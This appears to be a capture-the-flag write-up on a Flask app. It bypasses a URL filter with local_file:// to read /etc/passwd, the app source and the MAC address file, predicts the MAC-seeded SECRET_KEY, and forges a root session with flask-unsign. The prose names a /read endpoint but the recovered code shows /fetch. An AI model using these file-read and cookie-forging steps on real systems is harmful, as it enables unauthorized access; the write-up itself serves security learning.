Predictable Flask Session Forging with MAC-Derived Random Seed
The web aplication exposes a /read endpoint that accepts a url parameter and fetches its content using urllib.urlopen. Direct use of file:// is blocked by a regex that matches strings starting with file, but the scheme local_file:// bypasses this filter because the check uses ^file.* without considering the protocol prefix. Unfiltered reads are41 also possible by omitting the scheme entirely, allowing a path like /etc/passwd.
/read?url=/etc/passwd
This reveals the application runs Flask. The backend source can be read:
/read?url=local_file:///app/app.py
The recovered code shows a Python 2 Flask app:
import re
import random
import uuid
import urllib
from flask import Flask, session, request
app = Flask(__name__)
seed_value = uuid.getnode()
random.seed(seed_value)
app.config['SECRET_KEY'] = str(random.random() * 233.0)
app.debug = True
@app.route('/fetch')
def fetch_resource():
target = request.args.get('url')
if re.match(r'^file.*', target, re.I) or re.search(r'flag', target, re.I):
return 'Blocked'
resp = urllib.urlopen(target)
return resp.read()
@app.route('/private')
def private():
if session and session.get('user') == 'root':
return open('/flag.txt').read()
else:
return 'Denied'
The /private endpoint checks the session for user == 'root' before returning the flag. The session is signed with SECRET_KEY, which is derived from random.random() multiplied by 233, seeded with the machine’s MAC address returned by uuid.getnode(). This makes the key predictable once the MAC is known.
The MAC can be obtained by reading the network interface file:
/read?url=local_file:///sys/class/net/eth0/address
Assuming the retrieved MAC is 2e:44:62:0d:63:0a, convert it to an integer and compute the same key:
import random
mac = 0x2e44620d630a
random.seed(mac)
secret = str(random.random() * 233.0)
print(secret) # example output: 73.2021768198
Next, forge a session with the desired user attribute using flask-unsign. The current session cookie can be examined to understand its structure, then a new session crafted:
# Sign a new cookie with the predicted secret
flask-unsign --sign --cookie "{'user': 'root'}" --secret '73.2021768198' --no-literal-eval
Replace the session cookie in the browser with the generated value and visit /private. The server validates the signed session, recognizes user: root, and returns the flag.